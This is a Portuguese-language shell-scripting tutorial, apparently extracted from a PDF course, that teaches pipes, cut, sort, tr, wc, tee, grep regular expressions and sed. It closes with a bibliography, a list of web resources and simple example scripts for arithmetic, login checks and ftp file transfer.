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nobody  operator  root  shutdown  sync  uucp  Mas como sou chato, vou querer em ordem inversa, logo acrescentamos no sort o ­r.  root@c0mb4t:/# cat etc/passwd |cut ­d: ­f1| sort ­r  uucp  sync  shutdown  root  operator  nobody  news  mysql  mail  lp  halt  gdm  games  ftp  daemon  c0mb4t  bin  adm  Vamos dar um pause e ver o que está acontecendo:  cat etc/passwd |cut ­d: ­f1| sort ­r, onde:  cat etc/passwd = imprime na tela o arquivo /etc/passwd.  cut ­d: ­f1 = cortamos o primeiro : e o resto da direita.  sort ­r = ordenamos em ordem alfabética inversa a saída.  Notamos então, que o comando cat joga sua saída para o comando cut, que por sua vez  joga a saída para o comando sort que finalmente joga a saída na tela. Poderíamos ainda colocar o | more, caso a tela ficasse pequena, ficando:  cat etc/passwd |cut ­d: ­f1| sort ­r |more  Agora,   vamos   pegar   essa   saída,   e   jogá­las   em   letra   maiúsculas,   para   melhor  visualização e para melhor aprendizado, certo? Neste caso usamos o comando tr.  root@c0mb4t:/# cat etc/passwd |cut ­d: ­f1| sort ­r| tr a­z A­Z  Adbeel Goes Filho

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UUCP  SYNC  SHUTDOWN  ROOT  OPERATOR  NOBODY  NEWS  MYSQL  MAIL  LP  HALT  GDM  GAMES  FTP  DAEMON  C0MB4T  BIN  ADM  O comando tr, substituí as letras de 'a' a 'z' por 'A' até 'Z'.  Pronto, aqui está a lista de usuários em ordem alfabética inversa, em letras maiúsculas.  Mas que tal jogarmos a sua saída num arquivo chamado usuários?  root@c0mb4t:/# cat etc/passwd |cut ­d: ­f1| sort ­r| tr a­z A­Z > /usuarios  O comando > grava em arquivo. assim o > /usuarios grava o saida, que no lugar de  jogar na tela, ela joga para um arquivo que chamei de /usuarios.  Para visualizar o arquivo, digitamos conforme já visto:  root@c0mb4t:/# cat /usuarios  UUCP  SYNC  SHUTDOWN  ROOT  OPERATOR  NOBODY  NEWS  MYSQL  MAIL  LP  HALT  GDM  GAMES  FTP  Adbeel Goes Filho

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DAEMON  C0MB4T  BIN  ADM  Pronto. Agora você já tem seu arquivo de usuários. :)  Outro comando muito interessante e que sempre usamos em conjunto é o comando  grep. Esse comando pega a saída de um comando e imprime ta tela apenas a linha o qual contém o  conteúdo desejado.  root@c0mb4t:/# cat etc/passwd |grep c0mb4t  c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash  root@c0mb4t:/# cat etc/passwd |grep bash  root:x:0:0::/root:/bin/bash  operator:x:11:0:operator:/root:/bin/bash  mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash  gdm:x:42:42:GDM:/var/state/gdm:/bin/bash  c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash 

2. wc Conta caracteres, palavras e linhas em arquivos.  Sintaxe:  wc [­cwl] [arquivo ... ]  Exemplos:  $ wc ­c < cadastro  $ wc ­w texto1  $ wc ­l /etc/passwd  Opções:  • ­c Conta o número de caracteres  • ­w Conta o número de palavras  • ­l Conta o número de linhas  •

Por default, o comando sem opção, apresenta a saída com as três opções.  As   opções   podem ser utilizadas  em conjunto. A ordem das opções  vai determinar a ordem  de  apresentação da saída do comando

3. tee Utilizado para gerar duas saídas simultâneas.  Sintaxe:  $ tee [ ­a ] [ arquivo ]  Adbeel Goes Filho

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Exemplos:  $ ls | tee arquivo | sort  $ ls | tee ­a arquivo | sort  O comando tee lê da entrada padrão e gera uma saída padrão e outra em um arquivo especificado. A  opção ­a é utilizada para adicionar em um arquivo já existente. 

4. sort Classifica e/ou intercala arquivos texto.  Sintaxe:  sort [opções] arquivo  $ sort < cadastro  $ sort ­nt: +2 < /etc/passwd  $ sort ­d cadastro  O comando sort é poderoso e flexível. As linhas de um arquivo ou campos do arquivo podem ser  classificados de diversas maneiras. Algumas opções do comando sort:  • • • • • • • •

­r Inverte o sentido da classificação  ­f Iguala letras maiúsculas e minúsculas na comparação  ­n Indica que a comparação deve ser de valor numérico  ­u Elimina as linhas com chaves duplicadas  ­tX Indica que o caracter X é o delimitador de campos  ­m Executa a intercalação de arquivos já classificados  +posi ­posf Indica chave de classificação, posi é a posição inicial e posf a posição final  ­o arq Indica que arq será a saída do comando 

Exemplos:  Considerando o arquivo cadastro com os campos código, nome e cep:           00006Jose      20000010          00003Maria     20000015          00005Antonio   20000009          00002Pedro     20000002          00004Carlos    20000002          00001Zelia     20000011

Classificação crescente do campo código:  $ sort +0.0 ­0.5 cadastro  Classificação inversa do campo nome:  Adbeel Goes Filho

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$ sort ­r +0.5 ­0.15 cadastro  Classificação crescente do campo cep e também do campo nome  $ sort +0.20 ­0.28 +0.5 ­0.15 cadastro  Considerando o arquivo /etc/passwd, que possui o delimitador de campo :  Classificação crescente por nome de usuário, gerando a saída no arquivo saida.srt  $ sort ­o saida.srt ­t: +0 ­1 /etc/passwd  Classificação por grupo e também por nome  $ sort ­t: ­n +3 ­4 +0 ­1 /etc/passwd 

5. grep Agora teremos um breve tutorial sobre o Grep. Ele não é somente um dos comandos  mais úteis, mas o seu domínio abre portas para dominar outros poderosos comandos, como o sed  (que trataremos na próxima aula) , awk, perl, etc. Eu fiz uma adaptação/ modificação de um tutorial  que eu tenho, e por sinal é excelente, sobre o Grep e Expressões Regulares em  inglês. Espero que tenha ficado legal e vocês gostem. O que ele faz ?  O grep basicamente faz buscas. Mais precisamente: grep palavra file    retorna todas as linhas do arquivo file que contenham palavra. Outro jeito de usar o grep é através de pipe (lembram dos pipes?).  Por exemplo:    ls | grep palavra Lista todos os arquivos que contenham palavra em seu nome. Ou seja, a entrada do grep é uma lista  de arquivos (gerada pelo ls) que será filtrada, sendo impressas somente as linhas que contenham  palavra.  Usando caracteres coringas  Suponho que todos saibam o que são caracteres coringas. Caso contrário, coringas são  caracteres especiais que substituem outros. Geralmente o caracter "*" é um coringa que significa  "qualquer caracter em qualquer quantidade". Por isso se a gente executar "ls *", onde "*" entra no  lugar do "nome do arquivo", significando qualquer string de qualquer tamanho. Por isso ele lista  todos os arquivos. Mas agora voltemos ao grep. Será que ele aceita coringas ? A resposta é mais do que  sim. O grep suporta algo que vai além de coringas, ele suporta Expressões Regulares. Mas vamos  começar apenas com coringas. Um dos mais usados com o grep é o "."  Vamos a um exemplo:

Adbeel Goes Filho

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>cat file                                           >grep b.g file big                                                  big bad bug                                           bad bug bigger                                             bigger boogy Note que boogy não casa, desde que "." significa "qualquer e apenas um caracter". Para  significar strings arbitrárias utilizamos "*", que funciona da seguinte maneira: "A expressão consistindo de um caracter seguido por um * casa com qualquer número (inclusive  zero) de repetições desse caracter. Em particular, ".*" significa qualquer string."  Para compreendermos vamos a mais exemplos: >cat file big bad bug  bag bigger boogy>grep b.*g file big bad bug bag bigger boogy>grep b.*g. File bigger boogy>grep ggg* file bigger Avançando para expressões regulares  Os coringas são o começo, mas a idéia vai mais longe. Por exemplo, suponha que  queremos uma expressão que case com Frederic Smith ou Fred Smith, ou seja, a string "eric" é  opcional. Primeiro, introduzimos o conceito de um "caracter escapado (escaped character)". "Um caracter escapado é um caracter precedido por uma barra  invertida ( \ ). Essa barra invertida  faz o seguinte: (a) Remove qualquer significado especial do caracter. (b) acrescenta um significado  especial a um caracter que não tenha um significado especial."  Parece complicado, mas veja nos exemplo que é um tanto quanto simples: Para procurar uma linha contento o texto "hello.gif", o comando correto seria: grep 'hello\.gif' file Desde que "grep 'hello.gif' file" iria resultar linhas contendo: hello ­gif , hello1gif ,  Adbeel Goes Filho

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helloagif , etc.  Ou seja, a barra invertida remove o significado especial do ".", passando esse a  significar   um   simples   ponto   ao   invés   de   um   coringa.   Agora   vamos   passar   para   expressões  agrupadas, a fim de encontrar um jeito de criar uma expressão que case com Frederic ou Fred.  Primeiro vamos começar com o operador "?":  "Uma expressão consistindo de caracter seguido por uma interrogação escapada ( \? ) casa com zero  ou uma instância daquele caracter".  Exemplo: "bugg\?y" casa com o seguinte: bugy , buggy  mas não com bugggy virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugy virtvs@mucuripe:~$ echo bugggy | grep "bugg\?y" virtvs@mucuripe:~$  Agora vamos para expressões agrupadas. No nosso exemplo, queremos tornar opcional a string  "eric" após "Fred", ou seja, não apenas um caracter mas sim um conjunto de caracteres (string).  "Uma expressão dentro de parênteses escapados é tratada como um único caracter"  Exemplos: "Fred\(eric\)\?"   Smith   casa   com   "Fred   Smith"   or   "Frederic   Smith"  \(abc\)*   casa   com   abc   ,  abcabcabc, etc (isto é, qualquer número de repetições da string "abc", incluindo zero). Note   que   temos   que   tomar   cuidado   quando   nossas   expressões   contém   espaços   em  branco. Quando eles aparecem, precisamos colocar a expressão entre aspas, para que o  shell  não  interprete mal nosso comando. Para o exemplo acima: grep "Fred\(eric\)\? Smith" file Eu aconselho fortemente a sempre usar aspas, mesmo que não usemos espaços em  brancos. Já tive muita dor de cabeça porque expressões e comandos não funcionavam simplesmente  por não estarem entre aspas. Um dos exemplo acima (o do bugg\?y) não  funciona no meu sistema se não estiver entre aspas. Veja: virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugy virtvs@mucuripe:~$ echo bugy | grep bugg\?y virtvs@mucuripe:~$  Outros operadores úteis  Para casar algum caracter de uma lista, use [ ] Veja: "[Hh]ello" casa com linhas contendo  "hello" ou "Hello"  Faixas de caracteres também são permitidos: Adbeel Goes Filho

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    [0­3] é o mesmo que [0123]      [a­k] é o mesmo que [abcdefghijk]     [A­C] é o mesmo que [ABC]     [A­Ca­k] é o mesmo que [ABCabcdefghijk] Existem também algumas formas alternativas:     [[:alpha:]] é o mesmo que [a­zA­Z]     [[:upper:]] é o mesmo que [A­Z]     [[:lower:]] é o mesmo que [a­z]     [[:digit:]] é o mesmo que [0­9]     [[:alnum:]] é o mesmo que [0­9a­zA­Z]     [[:space:]] casa com qualquer quantidade de espaços, inclusive tabulações Essas formas alternativas, como [[:digit:]] é preferível ao método direto, [0­9]. Os [ ] podem ser usado para indicar caracteres que NÃO devem estar na expressão. É  só colocar o sinal ^ na primeira posição da lista. Veja: virtvs@mucuripe:~$ echo hello | grep "[Hh]ello" hello virtvs@mucuripe:~$ echo hello | grep "[^Hh]ello" virtvs@mucuripe Outro exemplo, um pouco mais complicado:  grep "([^()]*)a" file retorna qualquer linha contendo um par de parentes seguido por "a" e que NÃO  contenham outros parênteses dentro. Assim, ele casa com essas linhas: (hello)a  (aksjdhaksj d ka)a Mas não com: x=(y+2(x+1))a Casando com um número especifico de repetições Suponha que você queira casar um  número específico de repetições de uma expressão. Um bom exemplo são números de telefones.  Você pode procurar por um número de telefone com sete dígitos,  assim: grep "[:digit:]\{3\}[ ­]\?[:digit:]\{4\}" file  Ou seja, três dígitos, opcionalmente um espaço ou um hífen e mais 4  dígitos. Procurando por começo e fim de linha: Isso é muito interessante. Digamos que você  queira procurar por linhas que contendo espaços em brancos no começo da linha, a palavra hello e  então o fim da linha. Vamos começar com este  exemplo:     >cat file             hello     hello world             hhello Adbeel Goes Filho

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    >grep hello file             hello     hello world             hhello Isso não é o que nós queremos. O que está errado ? O problema é que o grep procura  por linhas contendo a string hello e todas as linhas especificadas contem ela. Para contornar isso,  introduzimos os caracteres de começo e fim de linha: "O caracter ^ significa começo de linha e o $ significa fim da linha"  Retornando ao nosso exemplo:  grep "^[[:space:]]*hello[[:space:]]*$" file Ou seja, o começo da linha, qualquer quantidade de espaço em branco (inclusive zero),  a palavra hello, qualquer quantidade de espaço em branco e o fim da linha. Essa expressão faz o que  a gente quer, retornando somente a linha que contém a palavra hello. Outro exemplo: grep "^From.*Alex" /var/spool/mail/neo Procura no meu inbox por mensagens de uma pessoa em particular (no caso, Alex).  Esse tipo de expressão regular é extremamente útil e filtros de e­mail, como o procmail, utilizam  isso para fazerem tudo. Isso ou Aquilo: Procurando uma coisa OU outra:  "A expressão consistindo de duas expressões separadas pelo operador OU \| casa linhas contendo  uma das duas expressões"  Note que você DEVE colocar a expressão dentro de aspas simples ou duplas: grep "cat\|dog" file casa com linhas contendo  a palavra "cat" ou a palavra "dog"  grep "I am a \(cat\|dog\)" casa com linhas  contendo a string "I am a cat" ou a string "I am a dog".  Usando backreference (referência anterior)  Digamos que você queira procurar strings que contenham uma substring em mais de  um lugar. Um exemplo é as tags de cabeçalhos de HTML. Suponha que eu queira procurar por  "

alguma string

". Isto é fácil de se fazer. Mas suponha que eu queira fazer o mesmo, mas  permita H2 H3 H4 H5 e H6 no lugar de H1. A expressão .* não é boa, desde  que casa com "

alguma string

" e nos queremos que a tag de abertura seja igual a de  fechamento. Para fazermos isso, usamos backreference: "A expressão \n onde n é um número, casa com o conteúdo do n­ésimo conjunto de parênteses na  Adbeel Goes Filho

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expressão".  Nossa... isso realmente precisa de um exemplo!!!! .* faz o que nos queríamos fazer acima... "O Senhor \(dog\|cat\) e a senhora \1 foram visitar o Senhor \(dog\|cat\) e a senhora \2"  Esse é outro exemplo bobo. Os casais tem sempre que serem iguais. Ou um casal de  cachorro ou de gato. Alguns detalhes cruciais: caracteres especiais e aspas Caracteres Especiais:  Aqui nós descrevemos os caracteres especiais para RegExp (expressões regulares) no grep. Note que  no "egrep", que usa expressões regulares estendidas (atualmente não tem nenhuma funcionalidade a  mais que as expressões regulares normais do GNU grep), a lista de caracteres especiais são os  mesmos, diferindo somente que alguns não precisar estar "escapados". Os seguintes caracteres são  considerados especiais, e precisam estar escapados: ?      \        .       [        ]        ^          $ Note que o sinal de $ perde seu sentido se tiver caracteres depois dele, do mesmo jeito  que o sinal ^ perde seu sentido se tiver caracteres antes dele. Os colchetes [ ] comportam­se um  pouco diferente. A baixo segue as regras para eles: ? O  colchete  direito (  ]  )  perde seu sentido especial se colocado no começo de uma lista,  por  exemplo: "[]12]" casa com ] , 1,  or 2.  ? Um hífen perde seu significado especial se colocado por último. Assim, [15­] casa com 1, 5 ou ­  ? O caracter ^ perde seu sentido se não for colocado em primeiro lugar.  ? A maioria dos caracteres especiais perdem seu significado especial se forem colocados dentro de  colchetes.  Aspas:  Em primeiro lugar, aspas simples são mais seguras de usar porque elas protegem suas  expressões   regulares   de   serem   alteradas   pelo   bash   (como   foi   visto   nas   aulas   anteriores).   Por  exemplo,   grep  "!"  file  vai produzir  um erro,  já  que o  shell  pensa  que  "!"  está  se referindo   ao  comando de histórico do shell, enquanto grep '!' file funciona perfeitamente. Quando você deve usar aspas simples ? A resposta é: se você precisa usar variáveis do  shell, use aspas duplas. Caso contrário, use aspas simples. Por exemplo:    grep "$HOME" file  Procura em file pelo nome do seu diretório pessoal, enquanto grep  '$HOME' file procura pela string $HOME. Sintaxe das expressões regulares estendidas  Agora vamos ver a sintaxe do egrep em contraste com a sintaxe do grep. Ironicamente,  apesar   do   nome "estendido",  o egrep atualmente  tem  menos  funcionalidade do que quando   foi  criado, para manter a compatibilidade com o tradicional grep. A melhor maneira de fazer um grep  estendido é utilizar grep ­E que usa a sintaxe de expressões regulares estendidas sem perda de  funcionalidade.   Bom,   espero   que   vocês   tenham   tido   uma   boa   idéia   de   como   funcionam   as  expressões regulares. Elas são extremamente importante, principalmente para utilizar o grep e o  Adbeel Goes Filho

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poderosíssimo sed, do qual trataremos na próxima aula. Não se preocupem se estiverem confuso  com as expressões, quando começarem a utilizá­las, as idéias vão clareando. 

Adbeel Goes Filho

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6. sed Falaremos agora sobre o sed. Vale lembrar que daremos uma breve introdução ao sed,  ajudando os iniciantes a entender como ele funciona. Portanto muitos comandos mais complexos  serão omitidos, já que seria necessário um livro inteiro para ensinar tudo sobre o Sed. Mas não se  preocupem, ensinaremos o suficiente sobre ele para utilização em shell script. Resumo de RegExp  Vamos a um resumo sobre as expressões regulares, explicadas na aula anterior e agora aplicadas ao  sed:  ^                        casa com o começo de linha $                            casa com o fim de linha .                             casa com qualquer caracter simples (apenas um) (caracter)*      casa com qualquer ocorrência, em qualquer quantidade, de (caracter) (caracter)?            casa com zero ou uma ocorrência de (caracter) [abcdef]                 casa com qualquer caracter dentro dos [ ] (neste caso, a b c d e ou f),  faixas de caracteres como [a­z] são permitidas.  [^abcdef]              casa com qualquer  caracter  NÃO  incluído em [] (neste caso, qualquer  caracter que não seja a b c d e ou f) (caracter)\{m,n\}       casa com m­n repetições de (caracter) (caracter)\{m,\}         casa com m ou mais repetições de (caracter) (caracter)\{,n\}          casa com n ou menos (também zero) repetições de (caracter) (caracter)\{n\}           casa com exatamente n repetições de (caracter) \(expressão\)              operador de grupo. \n                                Backreference  ­ casa com o n­ésimo grupo expressão1\|expressão2   casa com expressão1 ou expressão2. Funciona com o GNU sed, mas essa  característica pode não funcionar com outros Seds.  Caracteres Especiais  Os caracteres especiais no sed são os mesmo do grep, com uma diferença: a barra  normal   /   é   um   caracter   especial   no   sed.   A   razão   disso   ficará   clara   mais   para   frente   quando  estudarmos os comandos do sed. Como funciona: Uma breve introdução   O sed funciona assim: ele lê da entrada padrão, uma linha de cada vez. Para cada linha,  ele executa uma série de comandos de edição e então a linha é escrita na saída padrão. Um exemplo  que mostra como ele funciona: Nós usamos o comando "s", que significa "substitute" (substituir) ou  "search and replace" (procurar e trocar).  O formato é: s/expressão­regular/texto­substituto/{flags} Adbeel Goes Filho

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Nós não vamos discutir todas as flags ainda. A única que usamos abaixo é a "g", que  significa "substitua todas as ocorrências":     >cat file     Eu tenho três cachorros e dois gatos     >sed ­e 's/cachorros/gatos/g' ­e  's/gatos/elefantes/g' file     Eu tenho três elefantes e dois elefantes OK, então o que aconteceu? Primeiro o sed leu a linha do arquivo  "file" e executou: s/cachorros/gatos/g que produziu o seguinte texto:    Eu tenho três gatos e dois gatos e então o segundo comando foi executado na linha já editada e resultou:    Eu tenho três elefantes e dois elefantes Nós atualmente damos um nome para o texto (geralmente uma linha) que o sed leu e  está   processando   (editando):   ele   chama­se   "pattern   space"   (uma   boa   tradução   seria   "área   de  edição"). O sed lê da entrada padrão e joga na sua área de edição, executando nela uma seqüência de  comandos de edição e então ele escreve o resultado na saída padrão. Comandos de Substituição e Deleção  Primeiro, as maneiras mais usuais do sed é a seguinte:     >sed ­e 'comando1' ­e 'comando2' ­e  'comando3' arquivo     >{comando shell} | sed ­e 'comando1' ­e  'comando2'      >sed ­f sedscript.sed arquivo     >{comando shell} | sed ­f sedscript.sed Então, o sed pode ler do arquivo ou da entrada padrão, e os comandos podem ser especificados em  um arquivo de script ou na linha de comando. Esse arquivo, chamado sedscript.sed é um arquivo  que contém todos os comandos do sed, ao invés de serem especificados na linha de comando. Esses  sed's scripts são úteis quando precisamos de um processamento de texto mais complexo e refinado. Note o seguinte: se os comandos são lidos de um arquivo (sed script), espaços em branco podem ser  fatais. Eles podem fazer o script falhar sem explicação aparente. Eu recomendo editar os arquivos de  comandos do sed com um editor como o VIM que pode mostrar o final da linha e você pode ver se  existem espaços em branco entre os comandos e o fim da linha. Comando de Substituição  O formato para o comando de substituição é o seguinte: Adbeel Goes Filho

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   [endereço1[,endereço2]]s/procura/substituto/[f lags] As flags podem ser as seguinte: n                troca a n­ésima ocorrência  (na linha) do texto "procura" por "substituto" g                troca todas as ocorrências (na linha) do texto "procura" por "substituto" p                imprime a "área de edição" para a saída padrão se ocorrer uma substituição com sucesso w arquivo   imprime a "área de edição" para arquivo se ocorrer uma substituição com sucesso Se   nenhuma   flag   for   especificada,   somente   a   primeira   ocorrências   na   linha   é  substituída. Note que nós quase sempre usamos o comando "s" ou com a flag "g" ou sem nenhuma  flag.   Se   um   endereço   é   dado,   então   a   substituição   é   aplicada   a   linhas   que   contenham   aquele  endereço. Um endereço pode ser ou uma expressão regular dentro de barras normais /regexp/ , ou  um número de linha. O símbolo $ pode ser usado no lugar do número da linha para denotar a última  linha. Se dois endereços são fornecidos, separados por uma vírgula, então a substituição é  aplicada a todas as linhas entre duas linhas que casam com os endereços fornecidos.  Isto requer  algum esclarecimento. Mais precisamente, a substituição ocorre em todas as linhas desde a primeira  ocorrência de "endereço1" até a primeira ocorrência de "endereço2". Não se preocupe se isso tudo parece meio confuso. Os exemplos vão esclarecer melhor. O comando de Deleção  A sintaxe desse comando é muito simples. Ai vai: [endereço1[,endereço2]]d Isto deleta o conteúdo da "área de edição" (se esta casar com os endereços fornecidos). Todos os  comandos seguintes serão pulados (já que não a nada a fazer com uma área de edição em branco) e  uma nova linha será lida e jogada na área de edição e todo o processo se repete. Exemplos: Exemplo 1:     >cat file      O gato preto foi caçado por um cachorro marrom.      >sed ­e 's/preto/branco/g' file      O gato branco foi caçado por um cachorromarrom. Exemplo 2:      >cat file     O gato preto foi caçado por um cachorro marrom. Adbeel Goes Filho

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    O gato preto não foi caçado por um cachorro marrom.     >sed ­e '/não/s/preto/branco/g' file     O gato preto foi caçado por um cachorro marrom.     O gato branco não caçado por um cachorro marrom.  Neste caso, a substituição é aplicada somente a linhas que casam com a expressão regular "/não/".  Portanto, ela não é aplicada a primeira linha, pois esta não contem a palavra "não". Exemplo 3:      >cat file     linha 1 (um)     linha 2 (dois)     linha 3 (três) Exemplo 3a:      >sed ­e '1,2d' file     linha 3 (três) Exemplo 3b:      >sed ­e '3d' file      linha 1 (um)     linha 2 (dois) Exemplo 3c:      >sed ­e '1,2s/linha/LINHA/' file     LINHA 1 (um)     LINHA 2 (dois)     linha 3 (três) Exemplo 3d:      >sed ­e '/^linha.*um/s/linha/LINHA/' ­e  '/linha/d' file     LINHA 1 (um) 3a : Este foi bem simples: Nós apenas deletamos as linhas de 1 até 2 3b : Isto também foi simples: Nós deletamos a linha 3. 3c : Neste exemplo, nós fizemos uma substituição nas linhas 1 até 2. 3d : Agora este é mais interessante e merece  algumas explicações.   O primeiro comando vai procurar "^linha.*um" e substituir "linha" por "LINHA", ou  seja, somente a primeira linha casa com essa expressão regular. O segundo comando diz para o sed  deletar   linhas   que   contenham   a   palavra   "linha".   Assim,   somente   as   duas   últimas   linhas   serão  Adbeel Goes Filho

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deletadas, já que a primeira teve palavra "linha" substituída por "LINHA". Exemplo 4:      >cat file     olá     Este texto será cortado     olá (também será retirado)     ReTiRaDo Também!!!     tchau     (1) Este texto não foi apagado     (2) nem este ... ( tchau )     (3) nem este     olá     mas este será     e este também     e a menos que nós encontremos outro tch*u     cada linha até o final do texto será  apagada     >sed ­e '/olá/,/tchau/d' file     (1) Este texto não foi apagado     (2) nem este ... ( tchau )     (3) nem este Isto mostra como o endereçamento funciona quando dois endereços são especificados.  O sed encontra o primeiro casamento da expressão "olá" e deleta todas as linhas lidas na área de  edição   até   ele   encontrar   a   primeira   linha   que   contém   a   expressão   "tchau"   (está   também   será  apagada). Ele não aplica mais o comando de deleção para nenhuma linha até encontrar novamente a  expressão "olá". Desde que a expressão "tchau" não ocorre mais em nenhuma linha subseqüente, o  comando de deleção é aplicado até o final do texto. Resumindo, é simples: Quando ele encontra o  primeiro   endereço  ("olá")   ele  passa  a   executar  os   comandos   até  encontrar  o  segundo  endereço  ("tchau") ou o fim do texto. E isso se repete até acabar o texto. Exemplo 5:      >cat file     http://www.kernel.org/     >sed ­e 's@http://www.kernel.org@http://www.metalab.un c.edu@' file     http://www.metalab.unc.edu/  Note que nós usamos um delimitador diferente, @ para o comando de substituição. O  sed permite  diversos delimitadores para o comando de substituição, incluindo @ % , ; : Esses  delimitadores alternativos são bons para substituições que incluem string como nome de arquivos e  outras que contém barra normal /, o que torna o código do sed muito mais legível. Adbeel Goes Filho

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Mais alguns comandos Aqui veremos mais alguns comandos sobre o sed, a maioria  deles   mais   complexos.   Dependendo   da   aplicação   em   que   vocês   forem   usar   o   sed,   dificilmente  usarão   esses   recursos,   a   menos   que   precisem   de   um   processamento   de   texto   mais   refinado   e  complexo. Veja que eles são muito usado nos scripts do sed (não confunda com shell­script). Backreference no Sed  Uma das coisas legais sobre backreference no sed é que você pode usar não apenas em  procura de textos mas também na substituição de textos. O comando Quit  O comando quit ou "q" é muito simples. Ele simplesmente termina o processamento.  Nenhuma outra linha é lida para a área de edição ou impressa na saída padrão. Sub­rotinas  Nós agora introduzimos o conceito de sub­rotinas no sed: No   sed,   as   chaves   {   }   são   usadas   para   agrupar   comandos.   Elas   são   usadas   dessa 

maneira: endereço1[,endereço2]{comandos}

Exemplo: Encontrar uma palavra de uma lista num arquivo  Este exemplo faz um bom uso dos conceitos descritos acima. Para isto, nos usamos um  shell­script, desde que os comandos são muito longos e precisaríamos escrever a longa string X  várias vezes. Note que usamos aspas duplas, já que a variável $X precisa ser expandida pelo shell. A  sintaxe para rodar esse script é: "script arquivo",onde "script" é o nome dado ao script e "arquivo" é  o nome do arquivo a procurar uma palavra da lista. #!/bin/sh X='word1\|word2\|word3|\word4|\word5' sed ­e " /$X/!d /$X/{        s/\($X\).*/\1/        s/.*\($X\)/\1/        q        }" $1 Uma nota importante: é tentador pensar que:     s/\($X\).*/\1/     s/.*\($X\)/\1/ é redundante e tentar encurtá­la para: Adbeel Goes Filho

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    s/.*\($X\).*/\1/  Mas isto não funciona. Por que? Suponha que temos a linha:     word1 word2 word3 Nós não temos como saber se $X vai casar com word1, word2 ou word3, então quando  nós citamos ele (\1), nós não sabemos quais dos termos está sendo citado. O que está sendo usado  para certificar­se que não há problemas na correta implementação, é isto: "O operador * é guloso. Ou seja, quando há ambigüidade sobre qual (expressão)* pode casar, ele  tentar casar o máximo possível."  Então neste exemplo, s/\($X\).*/\1/ , .* tenta engolir o máximo da linha possível, em  particular, se a linha contém isso:       "word1 word2 word3" Então nós podemos ter certeza que .* casa com " word2 word3" e portanto $X seria  word1. Não se preocupem se não entenderam muito bem este tópico. Ele é complicado mesmo e  pouco   usado.   O   importante   é   entender   como   ele   funciona,   o   uso   de   regexp   e   do   comando   de  substituição e deleção. Para maiores informações sobre o sed, dê uma olhada na sua man page:  "man sed" . Espero que vocês tenham gostado desse pequeno tutorial sobre sed.  Linguagens Complementares

AWK Exemplo: exibir a terceira, quarta e nona colunas do saida de  um comando ls ­l /home/satis | awk ' {print $3, $r, $9}'

PHP

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Capitulo 6. Bibliografia

ADBEEL

Goes, Adbeel. Programação Shell­Script. VIRTVS Engenharia e Informática  Ltda. Fortaleza, Outubro de 2001.

ALEX

Borro, Alex. Tutorial de Shell Script

RRM2000

Raimundo,   Rodivaldo   Marcelo.  Curso   Básico   de   Programação   em   Posix   Shell­Script. Book Express. Rio de Janeiro, 2000.

JULIO 

    Neves, Júlio Cezar. Programação Shell Linux, 3ª Edição, Editora Brasport,  ISBN 85­7452­118­3

SAADE

    Saade, Joel. BASH ­ Guia de Consulta Rápida, Editora Novatec, ISBN 85­ 7522­006­3

       

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Capitulo 7. Apêndice A – Endereços Internet 1

Guia focalinux

http://www.focalinux.org 

2

Adv­Bash­Scr­HOWTO

http://www.linuxdoc.org   

3

Programação de Shell Scripts

http://unsekurity.virtualave.net/txts/shscript.txt 

4

UNIX Bourne Shell Programmin http://www.torget.se/users/d/Devlin/    shell     

5

Bash FAQ 

ftp://ftp.cwru.edu/pub/bash/FAQ 

6

Bash Reference Manual

http://www.gnu.org/manual/bash­2.02/bashref.html 

7

Bourne­Again SHell Home Page

http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html 

8

Underlinux 

http://sh.underlinux.com.br 

9

Expressões Regulare

http://guia­er.sourceforge.net 

10

sed­HOWTO

http://verde666/sed 

11

Programação em Shell Script

  http://www.jonathas.com.br/manual­  shell    .txt     

12

UNIX Power Tools

http://docs.online.bg/OS/unix_power_tools/index.htm 

13

Linux: Programação Shell

http://www.brasport.com.br 

14

Verdade Absoluta

http://www.absoluta.org

15

Wargames 

www.pulltheplug.com www.hackerslab.org 

16

Lista de discussão nacional sobre  http://br.groups.yahoo.com/group/shell­script  Shell Script

17

Dicas

http://www.semlimites.com.br/informatica/informatica_ software_sistemasoperacionais_unix_linux.shtm  

18

IBM­AIX

http://www.ibm.com 

19

Unix – Perguntas e respostas

http://www.klingon.com.br/unix/unix.html 

20

Introdução ao Unix

http://www.nicke.fenixnet.ccom.br/unix.html 

21

Criando   programas   usando   o  htttp://www.icmsc.sc.usp.br/manuais/UNIX    Shell

  

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Capitulo 8. Anexos

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1. Exemplos

 7.

Matemática

Soma de n números naturais #!/bin/sh clear echo "Qual o número ?" read n soma=0 for w_i in $(seq 1 $n ) ;      do        soma=$( expr $soma + $w_i)     done echo "A soma dos $n primeiros números naturais é $soma" exit 0 Fatorial #!/bin/sh clear read ­p "Qual o número para o cálculo do fatorial ?" n if [ $n ­le 0 ];    then       echo "Não existe fatorial de número negativo"       exit 1 fi; fatorial=1 for  w_i in $( seq 1 $n ) ;       do         fatorial=$[ $fatorial * $w_i ]      done echo "O fatorial de $n é $fatorial" exit 0

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   Shell­Scripts                                                                           119

 8.

Acesso

Como ter apenas um login por usuário  #!/bin/sh # vi /usr/bin/login_unico  VAR=`who | cut ­c1­8 | tr ­d "\040" | grep ­n "^\'echo $LOGNAME\`$" |wc ­l`  if [ $VAR ­gt 1 ] && [ $LOGNAME = "root" ]      then      echo MENSAGEM DE LOGIN INVALIDO      sleep 10       exit  fi  # chmod 755 login_unico  # vi /etc/profile  ...  Como repetir os últimos comandos no Unix Arquivo de controle : $HOME/.sh_history  Total de cmds .........: 171 (em media)  Ativacao .................: set ­o vi  Shell responsável .....: ksh  Inclua o comando de ativação no arquivo $HOME/.profile.  Incluir no arquivo /etc/passwd:  ... ... usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh  Para mostrar e executar os últimos comandos tecle ESCape "k"  Transferência de arquivos em redes TCP/IP (Script Shell)  ­ Crie no /usr/bin um arquivo chamado envia e outro recebe com os seguintes conteúdos:  Arquivo envia:  #!/bin/sh  a=$1  shift  ftp ­i $a > $HOME/ftp.log <<­EOF  bin  mput $*  quit  EOF  Arquivo recebe:  #!/bin/sh  a=$1  shift  ftp ­i $a > $HOME/ftp.log <<­EOF  Adbeel Goes Filho

